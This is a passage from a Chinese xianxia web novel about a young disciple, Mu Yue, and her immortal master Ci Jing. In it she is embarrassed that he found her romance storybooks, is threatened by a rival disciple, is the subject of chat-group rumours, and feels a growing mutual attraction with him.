枕头都拿已开,师尊肯定看见了,沐月稍稍松了口气。
比起师尊知晓她只看师徒文,和平等地看所有文,她还是倾向于后者,至于她在师尊心中乖巧可爱的形象,毁了就毁了吧,至少比怀疑她丧心病狂惦记师尊来得好。
“师尊,好香啊。”虽然是清淡的粥,但沐月还是闻到了肉香,她接过勺子,一勺一勺往嘴里送,吃着暖呼呼的粥,心中纷乱的情绪终于平静了许多。
“锅里还有,吃完了师尊再去盛。”
“好!”沐月翘起嘴角,将粥吃得干干净净。
离开前,辞镜又看了眼沐月枕头下那本《我与掌门不得不说的二三事》
最终还是止住了脚步,认真地对沐月说:“你这个年龄好奇也是正常,看归看,但切不可付出行动,阿月你可明白?”
沐月如今才成年不久,而掌门已经近两百岁,况且他有夫人,虽然知晓沐月或许知晓书和现实时分开的,但万一呢,辞镜担心有万分之一的可能。
“师尊我知道的。”沐月郑重点头,她才不会喜欢掌门师叔,他可是有夫人的男人。
一想到她爱上掌门师叔这样絮叨古板的人,她就脑子疼。
在师尊走后,她将那本书抽出来,有时候真的不要灵机一动,若是师尊误会她爱慕掌门,那可就太可怕了。
下午,沐月没敢再看话本,她现在有点应激了,一看就脚趾抓地,估计短时间内她是不敢再碰师徒文了。
但她又实在找不到事干,只能睡觉。
半梦半醒之间,沐月听见了敲门声,原来是灵犀和储殷来看她了。
“阿月,你病了吗?”灵犀仔仔细细看着她,沐月脸色是有点难看。
“我们上来看看你。”储殷也道。
“你们坐吧。”沐月在她们进门时就坐起了身,她看向一旁站着的师尊,他在,灵犀和储殷肯定不自在。
“师尊你去忙你的事情吧。”
辞镜看了眼储殷,“好。”便转身走出房门,离开时有意将门开着。
沐月见师尊离开,主动说了此次告假的前因后果,“我修炼出了岔子,就成了现在这样了,不过师尊说过段时间就能好全。”
“那你这段时间都不去上课了?”灵犀连忙问。
“我今日休息,后面照常上课,我没什么事不用担心啦。”
“那就好,你突然不来上课,吓我们一跳,见你好好的就放心了。”
两人说了一会话,储殷看向沐月,开了口,“灵犀,我有事要和沐月说,你先出去。”
灵犀一听立马凑近了盯着他,警惕地问:“有什么事情是我不能听的?”
她视线在储殷和沐月之前来回转了转,那次在柳城的事情她可没忘,莫非两人确实有什么奸情?
沐月也很茫然啊,储殷要单独和她说什么啊,好像没什么需要单独说的吧。
“确实有要紧事,你别瞎想。”
灵犀见储殷语气正经,又瞧了两人几眼,也不再多说,“好吧,我先出去。”
灵犀走出房门,她顺手将房门关了。
于是堂屋里的辞镜只见她一人出来。
灵犀看见面前的仙尊,既紧张又开心,“仙尊,储殷和沐月有点事要说,我就先出来了。”
和仙尊单独相处,她手脚都不知道怎么放,“我先出去等他吧。”
“随意坐,不必拘谨。”辞镜温声道。
“啊,不了不了,我出去转转,戚雪峰挺美的,您不必管我。”她可不敢和仙尊独处,看着面前谪仙般的男人,她担心自己和他独处会背过气去。
如此辞镜便也不再多说。
他扫了眼紧闭的房门,端起凉透的茶水喝了一口,片刻,他将手中的茶杯放下,拿起一旁的书。
只是看一眼便会抬头扫一眼沐月的房门。
房内。
“最近不太平,你要小心行事,尽量不要离开万剑宗。”
储殷开口便是这句话。
他没有说具体是什么事,只是让沐月留意身边可能出现的危险。
“是发生了什么事吗?”沐月试探地问,她的灵力被师尊封住,暂时无法动用一事好像储殷并不知晓吧,他为何为如此郑重地提醒她。
“我无法告知你原因,总之你要小心。”
沐月仔细看着他。
“抱歉。”储殷垂眸,没有直视沐月的双眼。
“你道歉干嘛,我会小心的。”
虽然她不清楚储殷为何叮嘱她这番话,但十多年的友谊让她不会怀疑,况且处处小心对她而言没有任何坏处。
“那你休息,我先出去了。”储殷看了她一会儿,轻声道。
“好。”
储殷拉开房门时正好与堂内坐着的男人对视,他微微颔首,“仙尊。”
辞镜越过他看向屋内的沐月,但是很快那道门就被储殷合上。
离开前储殷对辞镜道:“还请您多留意沐月的情况。”
辞镜听见他这句话,轻轻皱了一下眉。
对于辞镜没有回答自己一事,储殷也不在意,行礼后离开无妄楼,和屋外四处看的灵犀一起下山。
在储殷离开后,沐月还在思索他说的话,储殷究竟是知晓了什么,又为何不能和她说。
她明白每个人或多或少都有秘密,就像她其实是妖的身份,那储殷的秘密又是什么,她不关心这个秘密是什么,但是这关乎她的安危了,她不得不重视。
……
灵犀和储殷的到来让她好不容易忘却《师尊按着我狂亲怎么办》话本被师尊看见的尴尬,可在晚上重新看见师尊后,那股难以形容的感觉再度慢慢爬上来。
她压根不敢和师尊对视,吃完饭就开始装死。
第二日吃完早饭,沐月匆匆和师尊打了招呼一溜烟跑下山上课。
上午有节阵法课,阵法晦涩难懂,沐月听得脑壳痛。
扶清长老讲到部分枯燥的阵法内容时,底下有个别弟子在桌下悄悄看话本。
也不知看不是看到了精彩部分,周围弟子暗示也没发现,长老走到他身边一把将他手里的话本抽走,并大声念出了书名,他才腾的红了脸。
“长……长老,您别念了!”弟子恨不得钻进地缝里。
周围人哄堂大笑,灵犀也乐得不行,但沐月实在笑不出来。
她只感同身受,在心
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里放声大哭。
后面半节课沐月走神了,课上那弟子的遭遇让她总是想起昨日之事。
灵犀早就发现她的不对劲了,偶尔懊恼,偶尔一副想死的表情,她实在好奇沐月做了什么才让她如此。
下课后灵犀凑了上来,“什么事情让你这么烦,说出来让我高兴高兴。”
沐月捂脸,“我的那些话本被师尊发现了。”
“啊?”灵犀也是震惊了,她可是有幸见过木月看的那些宝贝。
“那仙尊是什么反应?”
“他说书是书,现实是现实,表情十分复杂。”
“仙尊他没罚你么?”试想她的那些宝贝要是被师尊看见,估计得狠狠抽她一顿。
“没有,可我宁愿师尊直接打我一顿。”
“反正,总会过去的,看开点!”灵犀也想不出更好的办法,她也不能让沐月失忆啊。
沐月现在恨不得不要和师尊碰面,一看到他就想起昨夜的尴尬。
她打算今日在万藏楼待久一点,看来辟谷得提上日程了,这样就能避免和师尊见面。
但仔细一想,因为这件事就故意不见师尊好像又不至于。
走在去万藏楼的路上,沐月踢了踢路上的石子。
路过一个人影,她停下脚步,侧头一看,又是离星洲,她加快脚步就要从他面前离开。
此段路需通过一段林荫小径,离星洲当真会找地方,沐月想起自己无法使用灵力,拔腿就跑。
“你跑什么?”离星洲冷冰冰的声音在她耳边响起。
跑什么,遇到疯子为什么不跑。
沐月懒得搭理他,继续往外跑,谁知离星洲几步就追上她,身体挡在了她面前。
“干什么?”沐月皱眉问。
离星洲从腰间拔出一柄锋利的匕首,阴沉着一张脸,“我左思右想,实在咽不下那口气,你在我脖子上留下的伤,也该还回来了。”
说着将刀刃在沐月的脖颈上比划,锋利的刀刃泛着寒光,沐月感受到脖颈的凉意,轻轻瑟缩了一下。
“比试台上愿赌服输,离星洲你好恶心。”
沐月最是见不惯他这副嘴脸,她不能动用灵力,但不妨碍她直接扇巴掌。
离星洲提前发现,五指牢牢扣住了沐月的手腕。
沐月使劲挣了挣,但是无法挣脱,“放开!”
离星洲疑惑地盯着她,不知她为何不动用灵力。
沐月现在要是能动用灵力,也就不至于让他得逞。
“仙尊到底看上了你哪点?”离星洲见沐月毫无还手之力,冷嗤。
沐月没听明白他这话的意思。
她以为离星洲是因为嫉妒师尊将她收为徒弟,“自然比你这个无耻之徒好上千倍万倍。”
沐月抬腿就往离星洲的双腿中间狠狠踢去,谁知他好像早已知晓沐月的意图,没让她钻到空子。
“嘴倒是挺硬。”离星洲看出沐月应该是受了伤,他一把将她放开。
沐月咬牙盯着离星洲远去的背影。
因为离星洲,她更是想要迫切找到梦中那颗碧绿珠子的资料,在万藏楼待到很晚。
不过她提前给师尊传了讯,告知自己晌午不回去用饭,并告诉他自己回得晚,要师尊不必等她。
辞镜静静看着沐月的传讯,过了片刻回复。
【好。】
沐月确实回得很晚,辞镜往门外看去,此时天色已经黑透,不见丝毫月光。
屋外下起了雨,雨声淅淅沥沥,屋檐汇聚的雨犹如断线的珠子滴落。
辞镜坐不住了,他低头向沐月传讯。
但是沐月那边没有回应。
辞镜皱眉,他正要往万藏楼而去,就在雨幕中看见归来的沐月。
她浑身湿透,冷得瑟瑟发抖,匆忙跑进屋里。
“这鬼天……”气还没来得及说,辞镜便脱下身上宽大的外袍紧紧裹住了她。
身上衣裙也在师尊抬手间恢复干爽,被雨水浸透的冷意,瞬间被师尊外袍上的体温驱散,从头到脚似乎都暖乎乎的。
沐月抬头怔怔地看着眼前满脸担心的男人。
“为何不叫我?”辞镜皱眉问。
沐月现在无法使用灵力也不能避雨,这场雨下得突然,离无妄楼也不剩多少距离,她就淋着雨跑回来了。
“我只淋了一会儿,不碍事。”沐月眼睛晶亮,只是发丝凌乱,被风雨吹得贴到红扑扑的面颊之上。
辞镜伸手,手指轻轻将沐月的碎发挽至耳后。
微凉指尖不经意擦过女孩的耳垂,她一激灵,轻轻躲了一下。
察觉她的动作,辞镜才意识到自己的动作有些逾矩,抿唇将手收回。
“快进去沐浴吧,不然该病了。”
沐月匆忙垂下眸,“嗯。”
她抓紧披在她身上师尊的外袍,整个人好像被师尊抱在了怀里,红着脸跑向小温泉。
15. 第 15 章
沐月坐在温泉中,透过热水的雾气看向挂在屏风上的师尊的外袍。
是极素净的白,就放在她褪下的粉色罗裙旁,沐月感觉脸越来越烫,她强迫不再去看。
洗去一身的雨水湿气,她穿好衣裳,抱着师尊的外袍出门。
“师尊,您的衣裳。”
辞镜伸手接过,他的手指感受到沐月才沐浴过后的温热水汽,而他的外袍上似乎也沾染着属于沐月的气息。
他看向沐月,她脸上还带着才沐浴后的红润。
收回视线,“过来吃饭吧。”
“好!”沐月开心跟过去。
用完饭,辞镜开始为沐月诊脉。
“师尊,我什么时候可以不用诊脉?”沐月一边挽着自己的袖子,一边悄悄观察着师尊。
他没有再提昨日话本的事,沐月只求时间能淡化一切,谁也不要再提起。
“等你体内的灵力彻底稳定后,就不用了。”
沐月没有再追问更具体的时间,好在诊脉并不会花太长时间。
她撩起袖子时,露出白皙纤柔的手腕,沐浴后皂角的香气被她的体温晕开,浅浅萦绕在辞镜鼻尖。
辞镜突然想起了昨夜。
自沐月十岁开始他就再未主动踏入她卧房,毕竟他虽是师尊,却也要谨防男女之别,沐月是女孩子,他要尤其注意。
可就在刚刚,他脑中竟然不由自主地闪过昨夜将女孩从浴室抱出来时的画面。
辞镜皱皱眉,将这没有缘由的念头压下,手指就要搭上沐月的手腕,视线却瞬间凝住了。
那截细嫩宛如莲藕的手腕上,竟然出现了红色的清晰指痕。
“……”
师尊的手迟迟没有搭上来,沐月有些疑惑,“怎么了师尊?”
她对上师尊抬起的双眸,她心蓦然跳了一下。
沐月忐忑地扫了眼自己的手腕,看见后也疑惑了,她抬手仔细瞅了瞅,什么时候弄的,她怎么没注意。
“谁弄的?”辞镜抿唇,语气是沐月从未听过的严肃。
“我不知道啊。”沐月也很疑惑,她面对这样的师尊,睫毛颤了颤,紧张地咽了口口水。
她也不知道手上的痕迹是怎么来的。
今日她也没干什么,就是去上了课,然后去万藏楼。
等等。
路上还遇到了离星洲,和他争执途中是被他拽了一下,或许就是那时弄的。
当时形势危急沐月恨不得弄死他,压根没注意自己的手腕被他抓成了这样。
“我想起来了。”沐月连忙道,她总觉得自己要是不赶紧说,师尊可能会更生气。
“是谁?”
“若没意外,应该是离星洲。”
辞镜长眉蹙得更紧,“是上回在戚雪峰山下的那个弟子?”
他记得此人和沐月同台比试时,就对她带着很深的敌意。
“嗯,不过他没对我做什么,师尊您不用担心,若是当真遇到危险,我会使用令牌的。”
沐月今日随时做好了拿出令牌唤师尊前来的准备,幸好离星洲只是吓唬吓唬她。
她也不能一看见他就立即求助师尊,毕竟师尊也有自己的事要做。
辞镜手指轻轻摩挲着沐月手腕的伤痕,怕弄疼了她,力道很轻很轻。
从小到大,沐月的皮肤就十分娇气,很容易被蚊虫叮咬出丘疹,衣裳料子稍不注意皮肤就会出现一小片的红斑,她才来戚雪峰时,身上没有一块好皮。
被他悉心养了十来年终于没了丝毫痕迹,现在竟让别人在她手腕上留下伤痕。
沐月悄悄观察着师尊,她能感觉出师尊情绪不好,甚至很糟糕,可她其实并不疼,只是现在有些痒。
尤其是师尊的指腹在她手腕上来回摩挲,她更痒了,轻轻动了动自己的手腕,想从师尊手里抽出。
辞镜终于意识到自己的行为不妥,将手收回。
“师尊先为你抹药。”
其实不碍事,可能睡一觉起来就没了,不过她非常有眼力见地没有说话,安静地看着师尊为她抹药。
师尊指腹蘸取白色的药膏,仔细地慢慢涂抹到她手腕的指痕处,微微的凉意,很快指尖的药膏融化,有些灼热,从师尊的指腹流窜到她的皮肤。
红色指痕很快消失,沐月的手腕再次恢复白皙细腻。
“师尊,我好了诶。”
她本想活跃活跃气氛,但师尊神情依旧不大好看,她乖乖不说话了,等着师尊为她诊脉。
诊脉结束,辞镜看向沐月,“此人你不必担心,师尊会解决。”
沐月顿了一下,“怎么解决呀?”
莫非师尊亲自出马,警告离星洲?
“其余的阿月你不用考虑,去休息吧。”
沐月看了师尊好几眼,师尊这样的人总不会杀了离星洲,应该只是小小地告诫他一下,或者直接找到离星洲的师尊,让他代为管教,沐月更倾向后者。
离星洲这么惦记她师尊,师尊亲自前去,岂不是便宜了他。
*
沐月一觉醒来天塌了,她一踏进灵慧堂就发现周围弟子齐刷刷地看着她,眼中似冒着八卦的精光。
她狐疑地在自己位置坐下,还是储殷将通讯玉牌递给她,她才知晓发生了什么。
现在弟子群里闹翻天了,接连刷屏,满屏都是沐月和……离星洲的名字。
“有弟子说昨日看见你与离星洲举止暧昧,都在传你与他打出了感情。”
???
沐月满头雾水,这是什么离谱的展开。
昨日她和离星洲那是你死我活的厮杀,怎么在他们眼里就成了调情了?
有比这更离谱的谣言吗。
沐月连忙在群里澄清,但她的澄清很快就被淹没。
“我离星洲没有任何关系,他记恨我上回比试台上赢了他,昨日想要报仇,根本没有丝毫暧昧举止。”沐月当场解释,但是周围的弟子表示怀疑。
“可是离星洲都承认了啊,沐月你就别掩饰了。”
????
“离星洲承认了?什么时候?”
“昨夜他在群里说的。”
沐月翻了又翻,奈何实在太多了,她实在没有翻到。
连忙去找灵慧堂内离星洲的身影,但是发现他还没来。
沐月用单独用玉牌联系他,但是没有任何回应。
“我不知道他打着什么主意,总之我和他没有任何关系,你们不要乱传。”
弟子们见她如此反应,摸不着头脑,若是假的,那离星洲干嘛承认,若是真的,沐月为何要澄清。
总之,因沐月在此前月试中赢了离星洲,两人成了弟子们口中讨论的热门人物,现在有了这么戏剧性的一出
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,讨论的热情更加高涨,只是不会当着沐月的面说罢了。
“你与他……”储殷试探地提了提。
“我和他昨日差点打起来,他恨不得杀了我,怎么可能在一起。”
储殷见她表情不似作假,安慰道:“清者自清,你若是不在意还好,若在意或许可以让你师尊出面解决。”
只要他一发话,至少明面上宗门上下不敢再讨论此事。
沐月摇摇头,“我先自己试着解决。”
她不想事事都找师尊,昨日师尊才因她和离星洲的事情操劳,今日又来多麻烦他。
总归是谣言,不攻自破,若是她为此生气烦闷,离星洲的目的岂不是达到了。
她严重怀疑离星洲即是故意为之。
“好,若是需要帮忙,记得找我。”储殷轻声开口。
沐月点头。
离星洲一整日没来上课,沐月猜测是师尊已经出手干预,昨日他才说要解决,竟然如此迅速。
下课后沐月继续前往万藏楼寻找关于她梦中灵珠的痕迹。
沉浸在书海里,暂时忘却了离星洲带来的烦躁,虽然依旧没有太大收获,但是至少她对人界的奇珍异宝有了更为详细的了解。
一不留神,又看到很晚。
……
沐月晚归了一日。
两日。
三日。
到第四日,她突然想早点见到师尊,沐月看了眼窗外明媚的阳光,合上厚重的书,往阳光下熠熠生辉的戚雪峰而去。
不知道师尊在做什么,她突然回去他会不会惊讶呢?沐月弯唇,哼起了歌。
好久没和他一起喝茶吃点心,有些怀念。
沐月探头往开着的窗户往里看,一眼便看见榻上侧卧的师尊,他……似乎睡着了。
双眸微阖,银色发丝和衣摆滑落至不染纤尘的地面,面容如无风无雨的水面般宁静,像极了一幅静止的美人入睡图。
沐月进门,放轻脚步走到师尊身旁,俯身仔细看着睡着的他。
除去师尊照顾她那晚,她很久很久没有见过师尊睡着的模样了,儿时的记忆早已模糊不清,都让她差点忘记了师尊其实也是需要休息,也是具有血肉之躯的凡人。
至少在目前是。
沐月瞧着他根根分明的纤长睫毛,高挺的鼻梁,清晰分明的下颌线,就像被人精心雕琢过的玉石,心里感慨他究竟是怎么长成这样的呢。
沐月越看,越是控制不住地靠近,甚至已经能够感受到师尊的呼吸。
“师尊?”沐月轻声唤他。
双眼轻阖的男人依旧安静地睡着。
“果真睡着了呢。”沐月喃喃。
她控制不住地伸手,柔软的指腹轻轻落在师尊的眉眼、睫毛、鼻梁……
还有,嘴唇。
落在他柔软唇瓣上的指尖僵住,瞬间燃起一簇火。
沐月觉得自己疯了,她肯定是疯了。
想就罢了,看也就罢了,居然当真伸出了手。
她的心悬得高高的,心跳一声接一声,快要跳出胸腔,她紧张不安地观察师尊的反应。
他还睡着,还没醒,幸好。
刚才的胆子突然消失,她手脚无力差点就地摔倒,小心翼翼扶住桌角,蹑手蹑脚连忙跑了。
极轻的脚步声远去,榻上睡着的男人缓缓睁开双眸。
16. 第 16 章
辞镜的手垂至榻边,目光有些涣散。
半晌,抬起骨节分明的手指按了按眉心。
早在沐月倾身看他时就醒了,只是不知道为何,她不叫醒他,又为何不走开。
时间过得极为漫长,就在他想要睁开双眼时,辞镜感受到脸上落下的一点柔软,在他脸上逐渐游移,有些痒。
他想睁眼,但想到可能会吓到沐月,他便没有动作。
阿月为何……他思索不出答案。
或许是好奇吧,从小到大,她都是这么大胆的,想到什么就做,也没有具体的原因。
辞镜坐起身,看向窗外有些刺眼的阳光,才醒来眼睛有些不适应,他偏头避了避。
他没想到今日沐月会回来。
加上下雨那日,算起来沐月已经晚归了五日,她只说是在万藏楼看书。
她不是会撒谎的孩子,只是他还是不可避免去想,为何从前从不怎样,偏偏现在这样了呢。
*
沐月特意过了一会儿,等她彻底冷静了才出门,轻轻拉开房门,发现师尊已经醒了。
“师尊。”沐月尽量稳住自己,让自己不要露馅儿,反正方才师尊睡着了,也不知道她做了什么,自己没必要心虚,如此一想,她瞬间有了底气。
“怎么回来了?”辞镜隔着堂屋远远看着房门处的女孩。
“今日想早点回来。”
比起她临时回来,辞镜其实更想她今早就告诉他,他想自己会更开心的。
“阿月你过来。”
沐月走到坐着的师尊身前,轻轻蹲下去,这个角度正好能与他平视,“怎么啦师尊?”
辞镜犹豫片刻,轻声开口:“阿月,你有师尊,也有师兄,你的时间还很长,其实不必如此辛苦。”
沐月静静看着师尊,明白了他的意思,应该是指她在万藏楼待到很晚才回家的事情。
其实,是她有意不想让自己和师尊多相处,毕竟,她怕管不住自己的心。
“我想要修为再高一点,这样就不用师尊您事事亲力亲为了。”
“师尊去做不好吗?”明明之前都是如此。
他认真注视着沐月的双眸,但她没有像以前那样开心地说好啊。
“师尊去做自然是好的,可是师尊,我也要长大的,您难道不希望我长大吗?”
辞镜没有言语。
“我希望自己能够独当一面,而不是一直生活在师尊您的羽翼之下,或许未来不只是你保护我,我也能保护你呢。”
“师尊你说好不好?”
辞镜看着满眼光亮的女孩,如何说出其实我宁愿让你永远依赖我这样的话。
闻人浔的话是对的。
沐月迟早会长大,她会逐渐独立,会遇到心仪之人,会想要离开师尊独自闯荡,他作为师尊只能看着她越走越远。
辞镜记得,沐月才来到戚雪峰时,没见到他就会四处找他,他一抬头就会看见她从房门怯生生探出头来,眼中全是依赖。
阿月是他第一次如此费尽心血地去养育和陪伴的人,对于大弟子沈风吟,他是在他已经能够独立时将他收入门内,不需要自己多操心,只是见到他后会询问修炼进度,给他一些修炼指导和能够参考的功法,仅此而已。
但沐月是不同的。
“我之后会早点回来的。”沐月思索后认真道,师尊一个人在戚雪峰似乎有些孤单,她还是早些回来陪伴师尊吧。
在和沐月谈过后,辞镜的心情没有缓解半分。
作为师尊,他没有任何立场和理由去干涉沐月想要独立的想法。
他看着沐月离开,此时手边飞来一只纸鹤,抬手时,纸鹤化作一串金色的文字。
是闻人浔的消息。
【离星洲的身世你已知晓,但他和你徒弟的传闻不知你是否有所耳闻。】
【什么传闻?】
【有人传言两人关系匪浅,你最好探探你徒弟的意思,要是阴差阳错拆了两人的姻缘,那你这师尊岂不是罪过。】
辞镜看到姻缘二字,眸色微沉。
阿月分明说过她不喜欢甚至厌恶此人。
闻人浔掌管百密阁,百密阁在人界各处都安插了眼线,几乎没有他不知晓之事,百密阁也是威望最高的通讯渠道,若非辞镜曾救过他一命,他可不想整日为他查这些小孩子过家家的消息。
不过,离星洲此人确实不简单,闻人浔还顺带摸出其他消息。
【名叫储殷的弟子你也可以留意一下,我也是随手一查,竟什么也没查出,按理说他即便是孤儿,之前的痕迹也不该都消失了才对。】
其他人查不出或许不必多心,但闻人浔都查不出来,便非比寻常。
辞镜知晓此人,他前几日才上山来看过沐月,甚至还将门关上单独与她对话。
【我会留意。】
他对闻人浔说的姻缘一事更耿耿于怀。
【那则传言你是从何处听来?】
【你但凡关注关注弟子群,就能发现了。】闻人浔作为走在吃瓜线上的第一人,对这些事情了如指掌。
辞镜取出这枚几乎只与沐月传讯的玉牌,想要查看,但是发现自己并没有这个所谓的弟子群。
【这群里只有万剑宗弟子,我还是混进去的,他们都不知道是我,你要是突然进去估计得把他们吓死。】
【那你是如何混进去的?】
【暂时无可奉告,总之你即便进去,也无法看见之前的消息,他们见到你也肯定不敢再讨论。】
辞镜直接表示。【我要进去。】
【行吧。】
闻人浔操作了一下,将辞镜拉入群里,每人的玉牌都是绑定了的,所以他一进去就显示。
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玉翎仙尊已进。
瞬间闹腾的弟子群鸦雀无声。
“……”
一时间,还以为是谁的恶作剧。
可谁有这个胆子敢借仙尊名义行事。
弟子们私下疯狂交流,究竟是谁敢把仙尊拉进来的。
而且仙尊进来到底想要干嘛?
总之辞镜这一通操作直接让弟子们懵了。
他们反正是不敢把仙尊踢出去的,也不敢在群里放肆,只能强忍着八卦的心,重新建了一个,在新的群里的聊。
【仙尊怎么进来了?谁拉的,不要命了?】
【我好奇的是谁竟然加了仙尊的玉牌,我也想要!】
【所以到底是谁?】
【话说他为什么要进来,心血来潮想要融入我们么?】
讨论来讨论去,也没讨论出个所以然,此事一出,沐月和离星洲的事儿倒是没那么多人关注了,都在猜测仙尊此举是何意。
群里的事沐月不知情,她很少关注群里的内容。
出门时,她发现师尊怪怪的。
“阿月,师尊想用一下你的玉牌。”
沐月不解,但还是乖乖将玉牌递给了师尊,反正她的聊天内容里也没有见不得人的东西。
辞镜见沐月如此坦然地将玉牌给了他,稍微放心,进入闻人浔所说的那个弟子群。
往上翻了翻,果真看到了无数关于沐月和离星洲的传闻。
举止暧昧,动作亲密……辞镜想起那日沐月手腕上的指痕。
“怎么了师尊?”沐月凑近往玉牌上看了看。
辞镜将玉牌递给沐月。
“阿月,你如实告诉师尊。”
沐月眨了眨眼,师尊这话是什么意思?沐月心里本就有鬼,她瞬间紧张了。
“师尊,什么呀?”
“你可有心仪之人?”
“……”
沐月是没想到师尊会问她这个问题。
她看着眼前的师尊,没有吭声。
“是、有吗?”见沐月迟迟未答,辞镜紧盯着她,那双向来温柔如水的双眸,笼上了阴霾。
“……”沐月不敢说。
不敢说她其实对师尊有了那么一些见不得人的心思,但是她相信这是自己年龄到了的正常反应,等她看看外面的俊俏郎君,说不定就好了。
“师尊,你说什么呢,我从哪儿来的心仪之人,我向来最喜欢您啊。”沐月打着哈哈。
像从前那样,一得了礼物或高兴了,就喜欢冲着师尊说好喜欢师尊。
但辞镜和她自己都知道是孩子气的话。
但是现在,话里掺了几分真心连沐月自己都不清楚。
分明是她平日最常说的话。
可此时此刻辞镜听见她说喜欢这个字眼,心跳没有缘由地,空了一拍。
17. 第 17 章
沐月入睡前翻了翻自己的玉牌,也不知师尊刚才拿来做了什么,他分明有自己的传讯玉牌呀。
沐月翻来翻去,也没发现有什么特别的。
正要放下玉牌入睡,却瞥见弟子群里的消息。
仙尊?
沐月往上翻了翻,是师尊!
师尊怎么想到要进群的?而且他既然都进去了为什么还要用她的玉牌来看,莫非是想看看之前群里都聊了什么?
如此一想,沐月立马坐起了身,师尊该不会是看见了她和离星洲的传闻吧,若当真如此,那他刚才那番话是想知道传言真假吗?
她喜欢谁也不可能喜欢离星洲啊,但她现在总不能专门跑去问师尊是不是看见了那则传闻。
若他其实并没有看见,那她这不是不打自招吗。
老实说,这样儿戏的谣言,她是不希望师尊知晓的,这不是给他添麻烦嘛。
而且,她总觉得不好意思被师尊知晓。
不仅是她,灵犀和广大弟子们都很好奇辞镜为何突然进群。
沐月下山上课时就遭到了围攻。
“仙尊进群了诶,是不是你把他拉进来的?”灵犀见她来了连忙问。
除了沐月,灵犀想不到还有哪个弟子能加上辞镜的传讯印记。
“不是我啊,我也不知道是怎么回事。”
“他进来也不说话,我们只敢恭恭敬敬地欢迎,其他的话愣是半点不敢说,他不会是掌门偷偷安插进来,为了让我们规矩一点的吧?”
“但是掌门也不在咱们群里啊,我怀疑是有卧底。”灵犀思索着说。
“我也纳闷。”
“你就没问问你师尊?”灵犀好奇极了。
“我昨晚要睡了才看见,没来得及问。”至于早上嘛,她今日起晚了压根没时间问。
“那你回去问问。”灵犀撺掇沐月,要是没人问也就罢了,可这有现成的仙尊徒弟在啊,沐月去打听指定能有结果。
“我试试吧。”
“我明日要下山,你要去么?”灵犀问沐月的时候顺带拍了一下储殷,下山还是人多热闹。
“我就不去了。”
沐月这段时日不能使用灵力,师尊让她尽量不要离开万剑宗,她等这段时间过了再说吧,而且那日储殷说的话虽然让她摸不着头脑,但必然有他的道理。
“那好吧,师尊给我布置了课业,我要下山去买点符纸,咱们宗门太抠门了,发的早就用完了,其他弟子卖的太贵了,我打算自己去买点。”
“而且听说山脚下新开了家烧鸡铺,吃过的人都赞不绝口,我还说咱们一起去吃呢,正好我们那次买了酒,烧鸡配酒岂不美哉!”
“不过我可以带回来,但是肯定没有才出炉的好吃。”
沐月听她说着口水都要流出来了,两眼放光,“那我等你带回来!”
*
今日沐月终于查到些许关于梦中灵珠的记载,但只是寥寥几句,书中提及此珠或许在小天星,但书中所描述的究竟是否是梦中灵珠还有待验证。
小天星离万剑宗十万八千里,这一来一回可要花上不少时间,离司命说的书中告白节点越来越近了,她似乎暂时没有时间前往,不过总能有机会的。
其实沐月这也不知道自己到底是怎么想的,她虽然觉得司命为她和师尊写的命格簿不靠谱,但是万一呢,万一成功就能帮助师尊渡过情劫,自己也能拿到仙丹。
而且若是不完成这个关键节点的任务,司命肯定会日日在她耳边催促,为了清净她不如试一试。
沐月看了眼窗外阴沉沉的天,最近雨季来了,时常下雨,气温也渐渐降了下去,她发现今日衣裳似乎穿少了,在屋里不冷,但是等会儿雨落下来,想必就会冷了。
她无法使用灵力,也没有带伞,等会儿回去估计又得像上回那样浑身湿透。
想起昨日才与师尊谈过,沐月打算今日早些回。
可这老天偏和她过不去,才走到万藏楼楼下,雨便淅淅沥沥落下来,只是片刻功夫,干燥的地面都被雨水打湿,空气里弥漫着尘土的味道。
她叹了口气,正打算跑回戚雪峰,却看见万藏楼远处湖边的柳树下,一个撑着伞的熟悉身影朝她走来。
模糊的轮廓越来越清晰,一身白衣的辞镜撑着绘有青山的油纸伞,在连绵雨雾中缓步而来。
是师尊!
因为辞镜的到来,抱怨怎么又下雨的弟子们顾不得其他,都直勾勾看着撑伞的男人。
昨日仙尊突然驾临弟子群,今日又出现在万藏楼,莫非是真的想要下山了,多了解了解宗门内的生活么?
就在弟子们各种猜测时,他们看见辞镜一步步走到万藏楼某个女孩的身边,定睛一看,发现他身边之人是沐月。
辞镜将伞面往沐月头上倾斜,彻底遮住飘来的雨丝。
他看向望着自己的女孩,轻轻皱着眉,谈不上生气,只是有些许的无奈,“若我不过来,是不是又打算淋雨回家了?”
沐月没回答,只是嘿嘿笑了笑。
“罢了。”
辞镜将伞递给沐月,取出从无妄楼带来的披风,动作轻柔又仔细地将其披到沐月肩上,再为她系上细带。
低着头的沐月,能近距离地看着浅色的系带在师尊骨节分明的手中挽成了蝴蝶的模样。
披上后,冷意被隔绝在外。
“把伞给师尊吧。”
“再过来些,我们回家。”
沐月靠近师尊,离他很近,轻轻抬手就能触碰到他垂在身侧的手。
今日沐月穿的黄色襦裙,披风也是浅黄色的,明媚得像是一朵盛放的棣棠花,驱散了雨天的阴霾,她挨着伞下的师尊站着,走动间少女浅黄色晃动的裙摆轻轻擦过辞镜雪白的衣角,她偶尔凑近师尊,与他说话。
两人越走越远,路过的弟子都格外羡慕地看着辞镜身旁的沐月。
他们也想被仙尊这么对待,为什么他们不是仙尊的徒弟。
有这样一个师尊,想要什么都有,还有什么烦恼呢。
沐月现身说法,当然是有烦恼的,比如现在,师尊过来接她自然好,但她却说不出得愧疚,别人早能独当一面,可她连下雨都需要师尊来接。
真是令人甜蜜的烦恼。
沐月与辞镜沿着湖边青石板路而行,碧青湖面胭雨濛濛,让人心境不由平和宁静。
她侧头看向师尊,提起心中疑惑,“师尊,我看见您进弟子群了。”
“您
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为什么进去呀?”
沐月问的时候看了眼自己的裙摆,一点也没有被雨淋湿,油纸伞并不大,但在伞外笼罩着一层透明的灵力,能够自动将雨水隔绝。
“就是想看看你们都在聊些什么。”辞镜顿了下,如此回答。
但沐月想说,他一进去弟子们肯定是不敢再随心所欲地聊了,不过师尊或许是不知道。
她也不纠结,瞧见远处结伴而行的弟子,又问:“师尊你有其他的朋友吗?”
她发现戚雪峰很少有人来做客,便是有人前来,也是有事与师尊商量,但大多数时候是师尊亲自前往正殿与掌门他们商议。
“有的,只是不常联系。”
能说得上话的极少,大多只是泛泛之交,这么多年算下来也只有闻人浔,但他们大部分时间并不会像沐月和她的朋友那样结伴出行,只是偶尔想起了对方,说上两句话罢了,再或者,便是有事所托。
沐月看着身旁清瘦挺拔如青竹的师尊,这个角度只能看见他的下颌,以及微微抿紧的双唇。
